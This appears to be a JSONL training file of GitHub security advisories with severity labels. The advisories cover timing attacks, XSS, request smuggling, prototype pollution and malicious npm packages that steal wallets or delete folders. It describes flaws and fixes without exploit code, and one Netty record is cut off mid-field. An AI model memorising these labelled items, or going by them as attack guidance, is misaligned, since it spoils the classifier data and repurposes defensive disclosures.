-{"id": "344ad968b7ba57f634ec", "text": "Timing side channel vulnerability in UIDL request handler in Vaadin 10, 11-14, and 15-18\n\nNon-constant-time comparison of CSRF tokens in UIDL request handler in `com.vaadin:flow-server` versions 1.0.0 through 1.0.13 (Vaadin 10.0.0 through 10.0.16), 1.1.0 prior to 2.0.0 (Vaadin 11 through 13), 2.0.0 through 2.4.6 (Vaadin 14.0.0 through 14.4.6), 3.0.0 prior to 5.0.0 (Vaadin 15 prior to 18), and 5.0.0 through 5.0.2 (Vaadin 18.0.0 through 18.0.5) allows attacker to guess a security token via timing attack.\n\n- https://vaadin.com/security/cve-2021-31404", "text_raw": "Timing side channel vulnerability in UIDL request handler in Vaadin 10, 11-14, and 15-18\n\n[Severity: MEDIUM]\n\nNon-constant-time comparison of CSRF tokens in UIDL request handler in `com.vaadin:flow-server` versions 1.0.0 through 1.0.13 (Vaadin 10.0.0 through 10.0.16), 1.1.0 prior to 2.0.0 (Vaadin 11 through 13), 2.0.0 through 2.4.6 (Vaadin 14.0.0 through 14.4.6), 3.0.0 prior to 5.0.0 (Vaadin 15 prior to 18), and 5.0.0 through 5.0.2 (Vaadin 18.0.0 through 18.0.5) allows attacker to guess a security token via timing attack.\n\n- https://vaadin.com/security/cve-2021-31404", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "ae6a34e22cac32bd1c02", "text": "Prototype Pollution in madlib-object-utils\n\nmadlib-object-utils before 0.1.7 is vulnerable to Prototype Pollution via setValue.", "text_raw": "Prototype Pollution in madlib-object-utils\n\n[Severity: CRITICAL]\n\nmadlib-object-utils before 0.1.7 is vulnerable to Prototype Pollution via setValue.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "38ea87bece7828d44c3a", "text": "Sanitize vulnerable to Improper Input Validation and Cross-site Scripting\n\nWhen Sanitize <= 4.6.2 is used in combination with libxml2 >= 2.9.2, a specially crafted HTML fragment can cause libxml2 to generate improperly escaped output, allowing non-whitelisted attributes to be used on whitelisted elements.\n\nThis can allow HTML and JavaScript injection, which could result in XSS if Sanitize's output is served to browsers.", "text_raw": "Sanitize vulnerable to Improper Input Validation and Cross-site Scripting\n\n[Severity: HIGH]\n\nWhen Sanitize <= 4.6.2 is used in combination with libxml2 >= 2.9.2, a specially crafted HTML fragment can cause libxml2 to generate improperly escaped output, allowing non-whitelisted attributes to be used on whitelisted elements.\n\nThis can allow HTML and JavaScript injection, which could result in XSS if Sanitize's output is served to browsers.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-03-21", "split": "train"}
-{"id": "c0c362af8e0dff4eb61e", "text": "Improper Locking in github.com/containers/storage\n\nA deadlock vulnerability was found in `github.com/containers/storage` in versions before 1.28.1. When a container image is processed, each layer is unpacked using `tar`. If one of those layers is not a valid `tar` archive this causes an error leading to an unexpected situation where the code indefinitely waits for the tar unpacked stream, which never finishes. An attacker could use this vulnerability to craft a malicious image, which when downloaded and stored by an application using containers/storage, would then cause a deadlock leading to a Denial of Service (DoS).", "text_raw": "Improper Locking in github.com/containers/storage\n\n[Severity: MEDIUM]\n\nA deadlock vulnerability was found in `github.com/containers/storage` in versions before 1.28.1. When a container image is processed, each layer is unpacked using `tar`. If one of those layers is not a valid `tar` archive this causes an error leading to an unexpected situation where the code indefinitely waits for the tar unpacked stream, which never finishes. An attacker could use this vulnerability to craft a malicious image, which when downloaded and stored by an application using containers/storage, would then cause a deadlock leading to a Denial of Service (DoS).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "e3dc63d03d36d980c268", "text": "HTTP Response Splitting (Early Hints) in Puma\n\n### Impact\nIf an application using Puma allows untrusted input in an early-hints header, an attacker can use a carriage return character to end the header and inject malicious content, such as additional headers or an entirely new response body. This vulnerability is known as [HTTP Response Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting).\n\nWhile not an attack in itself, response splitting is a vector for several other attacks, such as cross-site scripting (XSS).\n\nThis is related to [CVE-2020-5247](https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v), which fixed this vulnerability but only for regular responses.\n\n### Patches\nThis has been fixed in 4.3.3 and 3.12.4.\n\n### Workarounds\nUsers can not allow untrusted/user input in the Early Hints response header.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [puma](https://github.com/puma/puma)\n* Email us a project maintainer. [Email addresses are listed in our Code of Conduct](https://github.com/puma/puma/blob/master/CODE_OF_CONDUCT.md#enforcement).", "text_raw": "HTTP Response Splitting (Early Hints) in Puma\n\n[Severity: MEDIUM]\n\n### Impact\nIf an application using Puma allows untrusted input in an early-hints header, an attacker can use a carriage return character to end the header and inject malicious content, such as additional headers or an entirely new response body. This vulnerability is known as [HTTP Response Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting).\n\nWhile not an attack in itself, response splitting is a vector for several other attacks, such as cross-site scripting (XSS).\n\nThis is related to [CVE-2020-5247](https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v), which fixed this vulnerability but only for regular responses.\n\n### Patches\nThis has been fixed in 4.3.3 and 3.12.4.\n\n### Workarounds\nUsers can not allow untrusted/user input in the Early Hints response header.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [puma](https://github.com/puma/puma)\n* Email us a project maintainer. [Email addresses are listed in our Code of Conduct](https://github.com/puma/puma/blob/master/CODE_OF_CONDUCT.md#enforcement).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-03", "split": "train"}
-{"id": "793c2530bb433c8780b3", "text": "Local Information Disclosure Vulnerability in Netty on Unix-Like systems\n\n### Impact\n\nWhen netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.\n\n### Vulnerability Details\n\nOn unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems.\n\nThe method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information.\n\nThis is the case in netty's `AbstractDiskHttpData` is vulnerable.\n\nhttps://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101\n\n`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`.\n\nYou may be affected by this vulnerability your project contains the following code patterns:\n\n```java\nchannelPipeline.addLast(new HttpPostRequestDecoder(...));\n```\n\n```java\nchannelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...));\n```\n\n### Patches\n\nThis has been patched in version `4.1.59.Final`.\n\n### Workarounds\n\nSpecify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user.\n\n### References\n\n- [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n### Similar Vulnerabilities\n\nSimilar, but not the same.\n\n- JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp\n - Google Guava - https://github.com/google/guava/issues/4011\n - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945\n - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [netty](https://github.com/netty/netty)\n* Email us [here](mailto:netty-security@googlegroups.com)\n\n### Original Report\n\n> Hi Netty Security Team,\n> \n> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project:\n> https://lgtm.com/query/7723301787255288599/\n> \n> Netty contains three local information disclosure vulnerabilities, so far as I can tell.\n> \n> One is here, where the private key for the certificate is written to a temporary file.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346\n> \n> One is here, where the certificate is written to a temporary file.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371\n> \n> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91\n> \n> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' syst", "text_raw": "Local Information Disclosure Vulnerability in Netty on Unix-Like systems\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.\n\nThe CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1)\n\n### Vulnerability Details\n\nOn unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems.\n\nThe method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information.\n\nThis is the case in netty's `AbstractDiskHttpData` is vulnerable.\n\nhttps://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101\n\n`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`.\n\nYou may be affected by this vulnerability your project contains the following code patterns:\n\n```java\nchannelPipeline.addLast(new HttpPostRequestDecoder(...));\n```\n\n```java\nchannelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...));\n```\n\n### Patches\n\nThis has been patched in version `4.1.59.Final`.\n\n### Workarounds\n\nSpecify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user.\n\n### References\n\n - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n### Similar Vulnerabilities\n\nSimilar, but not the same.\n\n - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp\n - Google Guava - https://github.com/google/guava/issues/4011\n - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945\n - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [netty](https://github.com/netty/netty)\n* Email us [here](mailto:netty-security@googlegroups.com)\n\n### Original Report\n\n> Hi Netty Security Team,\n> \n> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project:\n> https://lgtm.com/query/7723301787255288599/\n> \n> Netty contains three local information disclosure vulnerabilities, so far as I can tell.\n> \n> One is here, where the private key for the certificate is written to a temporary file.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346\n> \n> One is here, where the certificate is written to a temporary file.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371\n> \n> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable.\n> \n> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/Abs", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-08", "split": "train"}
-{"id": "8a46d93cdd4833845418", "text": "Malicious Package in only-test-not-install\n\nAll versions of `only-test-not-install` contain malicious code. The package deletes the folder `~/test` from the system as a postinstall script.\n\n## Recommendation\n\nRemove the package from your environment. There are no further signs of compromise.", "text_raw": "Malicious Package in only-test-not-install\n\n[Severity: CRITICAL]\n\nAll versions of `only-test-not-install` contain malicious code. The package deletes the folder `~/test` from the system as a postinstall script.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no further signs of compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d6da24d3c6b89e1fe94c", "text": "extlib does not properly restrict casts of string values\n\nThe extlib gem 0.9.15 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.", "text_raw": "extlib does not properly restrict casts of string values\n\n[Severity: HIGH]\n\nThe extlib gem 0.9.15 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "f14cc3aa1186e6d9418f", "text": "HTML comments vulnerability allowing to execute JavaScript code\n\n### Affected packages\nThe vulnerability has been discovered in the core HTML processing module and may affect all plugins used by CKEditor 4.\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 HTML processing core module. The vulnerability allowed to inject malformed comments HTML bypassing content sanitization, which could result in executing JavaScript code. It affects all users using the CKEditor 4 at version < 4.17.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.17.0.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank William Bowling ([wbowling](https://github.com/wbowling)) for recognizing and reporting this vulnerability.", "text_raw": "HTML comments vulnerability allowing to execute JavaScript code\n\n[Severity: HIGH]\n\n### Affected packages\nThe vulnerability has been discovered in the core HTML processing module and may affect all plugins used by CKEditor 4.\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 HTML processing core module. The vulnerability allowed to inject malformed comments HTML bypassing content sanitization, which could result in executing JavaScript code. It affects all users using the CKEditor 4 at version < 4.17.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.17.0.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank William Bowling ([wbowling](https://github.com/wbowling)) for recognizing and reporting this vulnerability.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-17", "split": "train"}
-{"id": "b8dfe0bae320448ad138", "text": "Cachet configuration leak\n\n### Impact\n\nAuthenticated users, regardless of their privileges (_User_ or _Admin_), can leak the value of any configuration entry of the dotenv file, e.g. the application secret (`APP_KEY`) and various passwords (email, database, etc).\n\n### Patches\n\nThis issue was addressed by improving `UpdateConfigCommandHandler` and preventing the use of nested variables in the resulting dotenv configuration file.\n\n### Workarounds\n\nOnly allow trusted source IP addresses to access to the administration dashboard.\n\n### References\n\nFurther technical details are available at [https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection](https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection).\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n- The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n- The maintainers, by opening an issue on this repository.", "text_raw": "Cachet configuration leak\n\n[Severity: HIGH]\n\n### Impact\n\nAuthenticated users, regardless of their privileges (_User_ or _Admin_), can leak the value of any configuration entry of the dotenv file, e.g. the application secret (`APP_KEY`) and various passwords (email, database, etc). \n\n### Patches\n\nThis issue was addressed by improving `UpdateConfigCommandHandler` and preventing the use of nested variables in the resulting dotenv configuration file.\n\n### Workarounds\n\nOnly allow trusted source IP addresses to access to the administration dashboard.\n\n### References\n\nFurther technical details are available at [https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection](https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection).\n\n### For more information\n\nIf you have any questions or comments about this advisory, you can contact:\n- The original reporters, by sending an email to vulnerability.research [at] sonarsource.com;\n- The maintainers, by opening an issue on this repository.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "dadedfdb73f455caa12f", "text": "Potential HTTP request smuggling in Apache Tomcat\n\nThe refactoring present in Apache Tomcat versions 9.0.28 to 9.0.30, 8.5.48 to 8.5.50 and 7.0.98 to 7.0.99 introduced a regression. The result of the regression was that invalid Transfer-Encoding headers were incorrectly processed leading to a possibility of HTTP Request Smuggling if Tomcat was located behind a reverse proxy that incorrectly handled the invalid Transfer-Encoding header in a particular manner. Such a reverse proxy is considered unlikely.", "text_raw": "Potential HTTP request smuggling in Apache Tomcat\n\n[Severity: MEDIUM]\n\nThe refactoring present in Apache Tomcat versions 9.0.28 to 9.0.30, 8.5.48 to 8.5.50 and 7.0.98 to 7.0.99 introduced a regression. The result of the regression was that invalid Transfer-Encoding headers were incorrectly processed leading to a possibility of HTTP Request Smuggling if Tomcat was located behind a reverse proxy that incorrectly handled the invalid Transfer-Encoding header in a particular manner. Such a reverse proxy is considered unlikely.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-28", "split": "train"}
-{"id": "c5fbe04b8a07d90d0611", "text": "Downloads Resources over HTTP in embedza\n\nAffected versions of `embedza` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `embedza`.\n\n## Recommendation\n\nUpdate to version 1.2.4 or later.", "text_raw": "Downloads Resources over HTTP in embedza\n\n[Severity: HIGH]\n\nAffected versions of `embedza` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `embedza`.\n\n\n## Recommendation\n\nUpdate to version 1.2.4 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "9d78313ebc6213449749", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0832, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "dedebc5f663a859ce506", "text": "Malicious Package in bitcoisnj-lib\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bitcoisnj-lib\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "04c9d81fdec415cf1d2d", "text": "Double free in sys-info\n\nAffected versions of sys-info use a static, global, list to store temporary disk information while running. The function that cleans up this list, DFCleanup, assumes a single threaded environment and will try to free the same memory twice in a multithreaded environment. This results in consistent double-frees and segfaults when calling sys_info::disk_info from multiple threads at once. The issue was fixed by moving the global variable into a local scope.", "text_raw": "Double free in sys-info \n\n[Severity: CRITICAL]\n\nAffected versions of sys-info use a static, global, list to store temporary disk information while running. The function that cleans up this list, DFCleanup, assumes a single threaded environment and will try to free the same memory twice in a multithreaded environment. This results in consistent double-frees and segfaults when calling sys_info::disk_info from multiple threads at once. The issue was fixed by moving the global variable into a local scope.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4ad09b203fe88a3d8f8f", "text": "Sensitive Data Exposure in parse-server\n\nVersions of parse-server prior to 3.6.0 could allow an account enumeration attack via account linking.\n`ParseError.ACCOUNT_ALREADY_LINKED(208)` was thrown BEFORE the AuthController checks the password and throws a `ParseError.SESSION_MISSING(206)` for Insufficient auth.  An attacker can guess ids and get information about linked accounts/email addresses.\n\n### For more information\nIf you have any questions or comments about this advisory,\nOpen an issue in the [parse-server](https://github.com/parse-community/parse-server)\n[Parse Community Vulnerability Disclosure Program](https://github.com/parse-community/parse-server/blob/master/SECURITY.md)", "text_raw": "Sensitive Data Exposure in parse-server\n\n[Severity: MEDIUM]\n\nVersions of parse-server prior to 3.6.0 could allow an account enumeration attack via account linking.\n`ParseError.ACCOUNT_ALREADY_LINKED(208)` was thrown BEFORE the AuthController checks the password and throws a `ParseError.SESSION_MISSING(206)` for Insufficient auth.  An attacker can guess ids and get information about linked accounts/email addresses.\n\n### For more information\nIf you have any questions or comments about this advisory,\nOpen an issue in the [parse-server](https://github.com/parse-community/parse-server)\n[Parse Community Vulnerability Disclosure Program](https://github.com/parse-community/parse-server/blob/master/SECURITY.md)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-11", "split": "train"}
-{"id": "3d21553ba9914d44b55c", "text": "Downloads Resources over HTTP in apk-parser\n\napk-parser is a tool to extract Android Manifest info from an APK file.\n\napk-parser versions below 0.1.6 download binary resources over HTTP, which leaves it vulnerable to MITM attacks.  It may be possible to cause remote code execution (RCE) by swapping out the requested binary with an attacker controlled binary if the attacker is on the network or positioned in between the user and the remote server.\n\n## Recommendation\n\nUpdate to version 0.1.6 or later.", "text_raw": "Downloads Resources over HTTP in apk-parser\n\n[Severity: HIGH]\n\napk-parser is a tool to extract Android Manifest info from an APK file.\n\napk-parser versions below 0.1.6 download binary resources over HTTP, which leaves it vulnerable to MITM attacks.  It may be possible to cause remote code execution (RCE) by swapping out the requested binary with an attacker controlled binary if the attacker is on the network or positioned in between the user and the remote server.\n\n\n## Recommendation\n\nUpdate to version 0.1.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b0966bf4f250d128a1bb", "text": "Division by zero in TFLite's implementation of `SpaceToBatchNd`\n\n### Impact\nThe implementation of the `SpaceToBatchNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/412c7d9bb8f8a762c5b266c9e73bfa165f29aac8/tensorflow/lite/kernels/space_to_batch_nd.cc#L82-L83):\n\n```cc\nTF_LITE_ENSURE_EQ(context, final_dim_size % block_shape[dim], 0);\noutput_size->data[dim + 1] = final_dim_size / block_shape[dim];\n```\n\nAn attacker can craft a model such that one dimension of the `block` input is 0. Hence, the corresponding value in `block_shape` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [6d36ba65577006affb272335b7c1abd829010708](https://github.com/tensorflow/tensorflow/commit/6d36ba65577006affb272335b7c1abd829010708).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Division by zero in TFLite's implementation of `SpaceToBatchNd`\n\n[Severity: LOW]\n\n### Impact\nThe implementation of the `SpaceToBatchNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/412c7d9bb8f8a762c5b266c9e73bfa165f29aac8/tensorflow/lite/kernels/space_to_batch_nd.cc#L82-L83):\n\n```cc\nTF_LITE_ENSURE_EQ(context, final_dim_size % block_shape[dim], 0);\noutput_size->data[dim + 1] = final_dim_size / block_shape[dim];\n```\n\nAn attacker can craft a model such that one dimension of the `block` input is 0. Hence, the corresponding value in `block_shape` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [6d36ba65577006affb272335b7c1abd829010708](https://github.com/tensorflow/tensorflow/commit/6d36ba65577006affb272335b7c1abd829010708).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "dcf80d793b3b514ed373", "text": "Authorization header is not sanitized in an error object in auth0\n\n### Overview\nVersions before and including `2.27.0` use a block list of specific keys that should be sanitized from the request object contained in the error object.  When a request to Auth0 management API fails, the key for `Authorization` header is not sanitized and the `Authorization` header value can be logged exposing a bearer token.\n\n### Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using `auth0` npm package\n- You are using a Machine to Machine application authorized to use Auth0's management API https://auth0.com/docs/flows/concepts/client-credentials\n\n### How to fix that?\nUpgrade to version `2.27.1`\n\n### Will this update impact my users?\nThe fix provided in patch will not affect your users.\n\n### Credit\nhttp://github.com/osdiab", "text_raw": "Authorization header is not sanitized in an error object in auth0\n\n[Severity: HIGH]\n\n### Overview\nVersions before and including `2.27.0` use a block list of specific keys that should be sanitized from the request object contained in the error object.  When a request to Auth0 management API fails, the key for `Authorization` header is not sanitized and the `Authorization` header value can be logged exposing a bearer token.\n\n### Am I affected?\nYou are affected by this vulnerability if all of the following conditions apply:\n\n- You are using `auth0` npm package\n- You are using a Machine to Machine application authorized to use Auth0's management API https://auth0.com/docs/flows/concepts/client-credentials\n\n### How to fix that?\nUpgrade to version `2.27.1`\n\n### Will this update impact my users?\nThe fix provided in patch will not affect your users.\n\n### Credit\nhttp://github.com/osdiab", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "83f4c7fcaaab6bff731b", "text": "Denial of Service in Spring Framework\n\nSpring Framework, version 5.1, versions 5.0.x prior to 5.0.10, versions 4.3.x prior to 4.3.20, and older unsupported versions on the 4.2.x branch provide support for range requests when serving static resources through the ResourceHttpRequestHandler, or starting in 5.0 when an annotated controller returns an org.springframework.core.io.Resource. A malicious user (or attacker) can add a range header with a high number of ranges, or with wide ranges that overlap, or both, for a denial of service attack. This vulnerability affects applications that depend on either spring-webmvc or spring-webflux. Such applications must also have a registration for serving static resources (e.g. JS, CSS, images, and others), or have an annotated controller that returns an org.springframework.core.io.Resource. Spring Boot applications that depend on spring-boot-starter-web or spring-boot-starter-webflux are ready to serve static resources out of the box and are therefore vulnerable.", "text_raw": "Denial of Service in Spring Framework\n\n[Severity: HIGH]\n\nSpring Framework, version 5.1, versions 5.0.x prior to 5.0.10, versions 4.3.x prior to 4.3.20, and older unsupported versions on the 4.2.x branch provide support for range requests when serving static resources through the ResourceHttpRequestHandler, or starting in 5.0 when an annotated controller returns an org.springframework.core.io.Resource. A malicious user (or attacker) can add a range header with a high number of ranges, or with wide ranges that overlap, or both, for a denial of service attack. This vulnerability affects applications that depend on either spring-webmvc or spring-webflux. Such applications must also have a registration for serving static resources (e.g. JS, CSS, images, and others), or have an annotated controller that returns an org.springframework.core.io.Resource. Spring Boot applications that depend on spring-boot-starter-web or spring-boot-starter-webflux are ready to serve static resources out of the box and are therefore vulnerable.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-15", "split": "train"}
